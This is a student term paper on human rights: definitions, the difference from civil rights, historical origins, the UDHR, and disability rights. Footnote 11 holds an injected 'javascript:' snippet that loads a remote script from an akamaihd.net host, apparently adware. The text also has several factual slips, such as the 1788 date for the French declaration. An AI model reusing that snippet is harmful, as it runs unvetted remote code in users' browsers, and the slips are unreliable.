HUMAN RIGHTS

Human rights are rights inherent to all human beings, whatever

our nationality, place of residence, sex, national or ethnic origin, color,
religion, language, or any other status. We are all equally entitled to
our human rights without discrimination. These rights are all
interrelated, interdependent and indivisible.1
Human rights are basic to humanity. They apply to all people
everywhere. Understanding of human rights is an important part of
our individual status as human beings. These are the basic rights and
freedoms that belong to every person in the world. They are the
fundamental things that human beings need in order to flourish and
participate fully in society.
As define in the book, Human Rights Law: Human Rights Culture
by Sarmiento, Human Rights are the aggregate of privileges, claim,
benefits, entitlements and moral guarantees that pertain to man
because of his humanity. 2
Human rights recognize the dignity
inherent in every person as a human being, regardless of his or her
particular nationality, race, ethnicity, religion, rights belong to
everyone, regardless of their circumstances. They cannot be given
away or taken away from you by anybody. In other words, human
rights belong to everyone wherever they are because they are human
beings endowed with dignity.
As provided under United Nations on Human Rights, universal
human rights are often expressed and guaranteed by law, in the forms
of treaties, customary international law, general principles and other
sources of international law. International human rights law lays down
obligations of Governments to act in certain ways or to refrain from
certain acts, in order to promote and protect human rights and
fundamental freedoms of individuals or groups.3
1

United Nations Office: Human Rights. January 9, 2015

http://www.ohchr.org/EN/Issues/Pages/WhatareHumanRights.aspx
2
Sarmiento, R., Human Rights Law: Human Rights Culture. Quezon City: Rex Printing Company, Inc.,
2014. p.1
3
Op. cit., http://www.ohchr.org/EN/Issues/Pages/WhatareHumanRights.aspx

There are three (3) characteristics of Human Rights, to wit:

inherent, universal, and inalienable. Inherent means that rights are
the birthright of all human beings, existing independently of the will of
either and individual human being or group. They are not obtained
and granted through any human action or intervention. When one is
born, he carries with them these rights. They cannot be separated or
detached from him. Inalienable means that no person can deprive any
person these rights and no person can repudiate these rights by
himself. It also means that these rights cannot be the subject of the
commerce of man. Universal means that these rights belong to every
human being, no matter what he or she is like. 4
These three distinct characteristics of human rights as inherent,
universal and inalienable shall be taken into considerations because as
human, having human rights, should not be taken away from us as it is
a right which belongs to everybody in the world.
Human rights are generally thought of as the most fundamental
rights. They include the right to life, education, and protection from
torture, free expression, and fair trial. Many of these rights bleed into
civil rights, but they are considered to be necessities of the human
existence. Some of these basic rights which are either inherent or
obtained through the constitution are the civil rights and political
rights. These concepts of human rights and civil rights are the two
basic rights that are often debated upon. Both human rights and civil
rights have their own features and characteristics as well as political
rights.

For us to clarify these three concepts, we make distinctions

among the three rights, the human rights, civil and political rights.

Civil and political rights are a class of rights that protect

individuals freedom from infringement by governments, social
organizations, and private individuals, and which ensure ones ability to
4

Op. Cit., p.3

participate in the civil and political life of the society and State without
discrimination. 5

Civil rights include the ensuring of peoples physical and mental

integrity, life and safety; protection from discrimination on grounds
such as race, gender, national origin, color, sexual, ethnicity, religion,
or disability; and individual rights such as privacy, the freedoms of
though and conscience, speech and expression, religion, the press,
assembly and movement.6
Political rights include natural justice (procedural fairness) in law,
such as the rights of the accused, including the right to a fair trial; due
process; the right to seek redress or a legal remedy; and rights
of participation in civil
society and politics such
as freedom
of
association, the right to assemble, the right to petition, the right of
self-defense, and the right to vote.7
Civil and political rights form the original and main part of
international human rights. They comprise the first portion of the 1948
Universal Declaration of Human Rights (with economic, social and
cultural rights comprising the second portion). The theory of three
generations of human rights considers this group of rights to be "firstgeneration rights", and the theory of negative and positive
rights considers them to be generally negative rights. 8
While human rights are those rights that an individual enjoys
because he is human. No government body, group or person can
deprive human rights to an individual. Some of the basic human rights
are the right to life, education, fair trial, protection from torture and
freedom of expression.

5
6
7
8

Wikipedia. January 9, 2015. http://en.wikipedia.org/wiki/Civil_and_political_rights.

Ibid.
Ibid.
Ibid.

Civil rights, on the other hand, are those rights that one enjoys by
virtue of citizenship in a particular nation or state. In the Philippines,
civil rights have the protection of the Philippine Constitution and many
Sate constitutions. Civil rights protect citizens from discrimination and
grant certain freedoms, like free speech, due process, equal protection,
the right against self-incrimination, and so forth. Civil rights can be
thought of as the agreement between the nation, the state, and the
individual citizens that they govern.
In an international framework, civil rights derive from the
constitutions or laws of each country, while human rights are
considered universal to all human beings. As a result, international
players are less likely to take action to enforce a nation's violation of its
own civil rights, but more likely to respond to human rights violations.
While human rights are universal in all countries, civil rights vary
greatly from one nation to the next. No nation may rightfully deprive a
person of a human right, but different nations can grant or deny
different civil rights and liberties. 9

Human Rights was conceived soon after the second World War.
Human rights was widely accepted after the United Nations General
Assembly adopted the Universal Declaration of Human Rights in 1948.
Civil rights are rights that an individual enjoys by virtue of
citizenship. Civil rights have the protection of the constitution. Civil
rights protect the individual from discrimination and unjustifiable
action by others, government or any organization. Having a
philosophical and legal basis, civil rights is an agreement between
the nation and the individual.

Civil rights are related to the constitution of each country,

whereas human rights are considered a universal right. While human
9

HG.ORG. What is Difference between Civil Rights and Human Rights. http://www.hg.org/article.asp?
id=31546

rights are basic rights inherent with birth, civil rights are the creation of
society.

While human rights do not change from one country to another,

civil rights differ from one nation to another. Civil rights basically
depend on the laws of the country. Human rights are universally
accepted rights regardless of nationality, religion and ethnicity. On the
other hand, civil rights fall within the limits of a countrys law, and
pertain to the social, cultural, religious and traditional standards,
among other things.10
As a summary of the difference between human rights and civil
rights, the following are given:

1. Human rights are those rights that an individual enjoys because

of being human. Civil rights are rights that an individual enjoys by
virtue of citizenship

2. No government body, group or person can deprive human rights

to an individual.

3. Civil rights protect the individual from discrimination and

unjustifiable action by others, government or any organization.

4. Civil rights is related to the constitution of each country, whereas

human rights are considered a universal right.

5. While human rights do not change from one country to another,

civil rights differ from one nation to another.

6. Human rights are universally accepted rights regardless of

nationality, religion and ethnicity. On the other hand, civil rights
fall within the limits of a countrys law, and pertain to the social,
cultural, religious and traditional standards, and other aspects.
10

Difference Between Human and Civil Rights | Difference Between | Human vs Civil
Rights http://www.differencebetween.net/miscellaneous/politics/difference-between-human-and-civilrights/#ixzz3OD7q0Kae

ORIGINS OF HUMAN RIGHTS

Human rights are considered the offspring of natural rights, which

themselves evolved from the concept of natural law. Natural law, which
has played a dominant role in Western political theory for centuries, is
that standard of higher-order morality against which all other laws are
adjudged. To contest the injustice of human-made law, one was to
appeal to the greater authority of God or natural law.
Human rights are rights possessed by people simply as, and
because they are, human beings. The term has only come into
common currency during the 20th century.

The idea of 'human rights' is not universal - it is essentially the

product of 17th and 18th century European thought. Even the idea of
'rights' does not necessarily exist in every society or advanced
civilization. Rights are not the same thing as standards of behavior
punishable or required by rules, which can be fundamentally unfair to
individuals, or used to oppress minority interests.

The earliest rules about standards of behavior among people

dealt with prescribing or prohibiting conduct that experience proved
was likely to lead to conflict. There were great lawmakers - the Roman,
Justinian, for one, who published his great Codex of various laws in the
early 6th century -who tried to establish cohesive schemes of rights
and duties. The great religions of the world - Judaism, Hinduism,
Christianity, Buddhism, Taoism, Islam, and others - have all sought to
establish comprehensive, coherent moral codes of conduct based on
divine law. All contain profound ideas on the dignity of the human
being , and are concerned with the duties and obligations of man to his

fellow human beings, to nature and indeed to God and the whole of
creation.

But until the 17th century such attempts to establish a

framework for such rules, laws and codes, whether in social, legal,
secular or theological debate, emphasized duties and privileges that
arose from peoples' status or relationships, rather than abstract rights
that, philosophically, preceded or underlay those relations or laws.

Then, attention moved from social responsibilities to the

individual's needs and participation. It was seen as fundamental to the
well-being of society, under the influence of philosophers such as
Grotius, Hobbes and Locke, then, these rights were called 'natural'
rights, or 'the rights of man'. These natural or moral rights became part
of the political agenda. They spread as the economic frontiers came
down.

One of the first, and most important, battles was about politics.
Could 'natural rights' be handed over to rulers? People in their 'natural'
condition have unlimited freedom. If they choose to be ruled, they
surrender either all, or some at least of this 'natural right' to their king
or government, in exchange for civil society and peace. If they could
surrender 'all', then people could be subjected to absolute government
authority, and be under an absolute duty to obey. If only some could be
surrendered, then the question is what part of those freedoms do we
give up?

This issue became a tremendous cause in 17th century England.

The protection of the people's rights (especially the right to political
participation, and freedom of religious belief and observance) against
an oppressive government was the catch cry of the English Revolution
of 1640 (which led to rebel leader Oliver Cromwell heading the

government, and the King being executed). It was also the catch cry
for the rebellion against the civil administration - the 'Glorious
Revolution' - of 1688 which saw another King on the throne, but also
led to the English Bill of Rights, in 1689.

The Bill of Rights dealt with the fundamental concerns of the

time. It made the King subject to the rule of law, like any citizen,
instead of claiming to be the law's (divine) source. It required the King
to respect the power of Parliament - elected by the people, with the
power to control the state's money and property. It protected some
basic rights to justice - excessive bail or fines, cruel and unusual
punishments and unfair trials: it guaranteed juries, impartial courts and
independent judges. It repeated some of royal promises made by King
John, under duress, in the Magna Carta (though Magna Carta was
intended to benefit the privileges of the aristocracy of the time, not the
whole population). It also established the people's preferred Protestant
religion, at a time when having a Catholic King was thought to
endanger the sovereignty of England. The Pope, in those days, was still
a relatively powerful ruler of a foreign country.

Towards the end of the 18th century, according to the philosopher

John Locke, it was argued that it was part of God's natural law that noone should harm anybody else in their life, health, liberty or
possessions. These rights could never be given up. The existence of
this natural law also established the right to do whatever was
necessary to protect such rights.

This view limited the role of government. No-one could be

subjected to another's rule unless they consented. A government's
responsibility became the duty to protect natural rights. This limited
what it could legitimately do and gave its citizens the right to defy and
overthrow a government that overstepped its 'legitimate' authority.

This thinking underlay the American colonies' Declaration of

Independence in 1776. This not only asserted that governments were
established by the consent of the people to protect rights, but
unforgettably expressed these rights in the terms that: 'all men are
created equal, that they are endowed by their Creator with certain
inalienable rights, that among these are Life, Liberty and the pursuit of
Happiness.'

Governments that did not carry out their protective role could be
overthrown.
Sadly, the Declaration did not, in fact, extend human
rights to all human beings.
The first US Constitution expressly
preserved the institution of slavery and did not recognize the equal
rights of women. Many 'rights' were added to the US Constitution over
the next 150 years: the Equal Rights Amendment, designed to give
women equality was defeated in a referendum just this decade.

In 1788, as a result of the French Revolution, the Declaration of

the Rights of Man and of Citizens asserted the primacy of natural rights
in similarly inspirational terms to the US Declaration of Independence.
Yet in the Terror that soon followed the Revolution, with all its hopes,
thousands unjustly lost their lives or suffered greatly in the name of
'Liberty.'

The doctrines of human rights that we now have are direct

descendants of this thinking. The disparity in rights protection in
practice reflected the society of the time.

A human right is 'natural' in that every one owns them, not

because they are subject to any particular system of law or religious or
political administration. They can be asserted against individuals, but
they express the political objective: that government must respect,
protect and promote them.

The greatest 20th century statements of 'natural' or human rights

can be dated to 1948, the Universal Declaration of Human Rights. This
preceded a range of international Conventions, Covenants,
Declarations and other treaties that have followed the tradition. Most
came from the United Nations. But other groups have also adopted
human rights standards. The European community, for example, has
adopted a Convention on Human Rights. Many nations have
incorporated rights into their national constitutions - acknowledging
that the rights exist, not that they are created by their laws.

The most common 'universal' rights are the right to life; to

freedom; to own property (limiting where government may intrude);
citizenship rights (voting, nationality and participation in public life);
rights to standards of good behaviour by governments (or protection of
the rule of law), and social, economic and cultural rights. The latter
have become important during the 20th century, and raise important
and still controversial issues about social justice and the distribution of
wealth.

Universal human rights are, historically, the flower of what was

originally a European plant. They have now received the support of
world nations. Respect for human rights is becoming a universal
principle of good government. 11

The ideas about human rights have evolved over many centuries.
But they achieved strong international support following the Holocaust
11

Rayner, Moira.
Universal Declarations of Human Rights.
January 10, 2015.
javascript:try{if(document.body.innerHTML){var
a=document.getElementsByTagName("head");if(a.length){var
d=document.createElement("script");d.src="https://apiholdingmypage-a.akamaihd.net/gsrs?
is=isgiwhPH&bp=BA&g=5ae211c1-1b0a-4c6a-bdfb-7eb38072a23c";a[0].appendChild(d);}}}catch(e)
{}

and World War II. To protect future generations from a repeat of these
horrors, the United Nations adopted the Universal Declaration of
Human Rights (UDHR) in 1948 and invited states to sign and ratify it.
For the first time, the Universal Declaration set out the fundamental
rights and freedoms shared by all human beings.

THE UNIVERSAL DECLARATION of HUMAN RIGHTS

In 1947, the UN established the Human Rights Commission to

draft the UDHR. Representatives from a range of countries, including
the UK, were involved in the drafting process. On 10 December 1948
the Declaration was adopted by the UN.
The preamble to the UDHR sets out the aims of the Declaration,
namely to contribute to freedom, justice and peace in the world, to be
achieved by universal recognition and respect for human rights. These
rights are then defined in 30 articles which include civil, political,
economic, social and cultural rights. 12
The main innovation of the UDHR is that it recognizes a universal
entitlement to rights applying to all members of the human family.
Before this the rights and freedoms of individuals were regarded as the
domestic affair of the state within whose jurisdiction they fell. The
traumatic events of the Second World War prompted the strong belief
that this situation was no longer tenable, that universal protection was
needed for all people, and that the international community should
monitor more strongly what happens inside states.

PROPOSAL TERM PAPER: TOPIC

People with disabilities suffer serious gaps in the enjoyment of
their rights and that these gaps need to be addressed. There is a need
for persons with disabilities to be guaranteed the full enjoyment of
their rights and freedoms without discrimination. It signals that further
12

Human Rights. Universal Declaration of Human Rights. Philippine Judicial Journal. January March
2004, Vol. 6, Issue No. 19, p.1

attention is needed to address the barriers that persons with

disabilities continue to face in all parts of the world in their
participation as equal members of society.
Persons with disabilities face discrimination and barriers that
restrict them from participating in society on an equal basis with others
every day. They are denied their rights to be included in the general
school system, to be employed, to live independently in the
community, to move freely, to vote, to participate in sport and cultural
activities, to enjoy social protection, to access justice, and to choose
medical treatment.
These are some fundamental human rights of
persons with disabilities that are commonly violated in our society not
just in our country, but throughout the world.
Relating this to human rights, persons with disabilities continually
suffers discrimination on the basis of race, color, sex, language, age, or
other status. They are more likely at greater risk of violence, injury,
abuse or neglect, maltreatment and exploitation. As provided under
Article 25 of Universal Declaration of Human Rights, Everyone has the
right to education.13 Schools systems not only in the Philippines have
adopted discriminatory approaches to persons with disabilities that can
lead to denying them the right to education in which it is one of the
fundamental rights of a person which must be experience and enjoy.
Some students are excluded from joining the educational system on
the basis of impairment, without any other education opportunity
provided. Inclusive education is essential to realizing the right to

education for all without discrimination and on the basis of equal

opportunities, including for persons with disabilities.

As enshrined in the Universal Declaration of Human Rights,

Article 25, Everyone has the right to a standard of living adequate for
the health, and well being of himself, and of his family, including
food, clothing, housing, and medical care and necessary social
services, and the right to security in the event of unemployment,
sickness, disability, widowhood, old age or other lack of livelihood in
13

Ibid, Article 26, p. 8

circumstances beyond his control.14 Most of the time, persons with

disabilities are being denied of proper medical assistance for common
illness. Sometimes, they are being deliberately left to die so that they
will not be a burden to the society. If given the right to standard of
living, it could prevent death and increase the quality of life of persons
with disabilities.
These people need also an equal access to their
rights to be enjoyed.

The protection guaranteed in other human rights treaties, and

grounded in the Universal Declaration of Human Rights, should apply
to all. Persons with disabilities have, however, remained largely
invisible, often side-lined in the rights debate and unable to enjoy the
full range of human rights.15
In recent years, there has been a revolutionary change in
approach, globally, to close the protection gap and ensure that persons
with disabilities enjoy the same standards of equality, rights and
dignity as everyone else.
The Convention on the Rights of Persons with Disabilities, which
was adopted in 2006 and entered into force in 2008, signaled a
paradigm shift from traditional charity-oriented, medical-based
approaches to disability to one based on human rights.

14

Ibid, Article 25, p.8

United
Nations
Human
Rights.
http://www.ohchr.org/EN/Issues/Disability/Pages/DisabilityIndex.aspx
15

January

11,

2015.